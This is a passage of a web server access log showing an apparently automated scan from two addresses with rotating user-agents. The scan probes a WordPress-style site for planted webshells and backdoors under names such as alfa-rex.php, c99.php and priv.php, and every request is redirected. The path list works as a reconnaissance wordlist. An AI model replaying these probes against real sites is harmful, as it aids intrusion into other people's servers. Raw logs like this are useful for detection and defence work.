"-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-admin/js/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:49 -0400] "GET /wp-includes/Text/bu2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-includes/ID3/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-admin/includes/tsconfig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-admin/css/colors/ew1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-includes/Text/Diff/Engine/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:24:50 -0400] "GET /wp-admin/includes/footerw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-admin/maint/searchy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/widgets/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/images/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-content/uploads/2024/01/3_hacker.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/images/crystal/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/images/media/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:51 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-includes/js/codemirror/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-includes/js/codemirror/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-admin/css/archivep.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-admin/css/sidebars.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-content/plugins/ioxi/ioxi/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:52 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/css/xBrain.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-content/uploads/2024/09/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /test/aaaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/Text/Diff/Renderer/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-admin/includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-admin/js/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:24:53 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/css/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/images/wlw/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-admin/maint/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/rest-api-stack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:24:54 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-includes/sitemaps/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:24:55 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-includes/PHPMailer/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:24:55 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) 